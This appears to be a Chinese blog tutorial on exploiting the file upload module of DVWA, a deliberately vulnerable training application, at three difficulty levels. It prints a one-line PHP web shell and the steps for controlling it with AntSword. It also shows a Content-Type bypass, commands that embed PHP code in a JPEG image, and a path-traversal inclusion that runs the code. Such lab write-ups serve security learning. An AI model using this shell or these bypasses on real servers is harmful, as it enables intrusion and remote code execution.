← 返回

攻破 DVWA File Upload 模块(Low-Medium-High)

安全 • 渗透 • 2026年5月22日

DVWA(Damn Vulnerable Web Application)是一个用于安全测试和学习的 Web 应用程序,包含多个漏洞模块。其中 File Upload 模块常用于测试文件上传攻击。本篇记录在 Low、Medium、High 三个等级下测试。

一、Low

文件上传漏洞可以将恶意的文件上传至服务器,配合文件包含等方式来实现远程代码执行。

可构造一个获取php信息的php文件:

# test.php <?php phpinfo(); ?>

上传至服务器

File Upload

在文件包含模块使用参数?page=../../hackable/uploads/test.php即可执行刚上传的PHP文件。

File Upload Executed

另外可以上传一句话木马:

# shell.php #该php文件会执行POST请求中参数a的内容 <?php eval($_POST['a']); ?>

可以使用蚁剑工具来连接和控制上传的木马,获取服务器控制权:

在蚁剑中:添加数据->URL地址=http://<IP_ADDRESS>/hackable/uploads/shell.php,连接密码=a

File Upload Shell

二、Medium

Medium难度只能上传Content-Type为image/jpeg或image/png的文件,且文件大小必须小于100KB

由于只针对http请求中的Content-Type字段进行验证,因此可以通过BurpSuite修改Content-Type字段来绕过验证

Medium Level

三、High

High难度相较于Medium难度增加了后缀名验证,并通过getimagesize函数来验证文件是图片

可通过将php代码挂载到真实图片文件中来绕过验证,并通过本地文件包含漏洞来执行代码

具体而言,可以将php代码嵌入图片文件最末尾、元数据中“如Document-Name”,php解释器会查找文件中的<?php ?>包含的php代码执行

  1. 准备一个jpeg图片文件,命名为blank.jpeg(可用Windows自带的画图,另存为jpeg)
  2. 将php代码嵌入图片文件的末尾:echo '<?php phpinfo(); ?>' >> blank.jpeg或元数据(例如使用exiftool):exiftool -DocumentName="<?php phpinfo(); ?>" blank.jpeg
  3. 将修改后的图片文件上传至服务器
  4. 在文件包含模块使用参数?page=../../hackable/uploads/blank.jpeg即可执行刚上传的图片文件中的PHP代码
High Level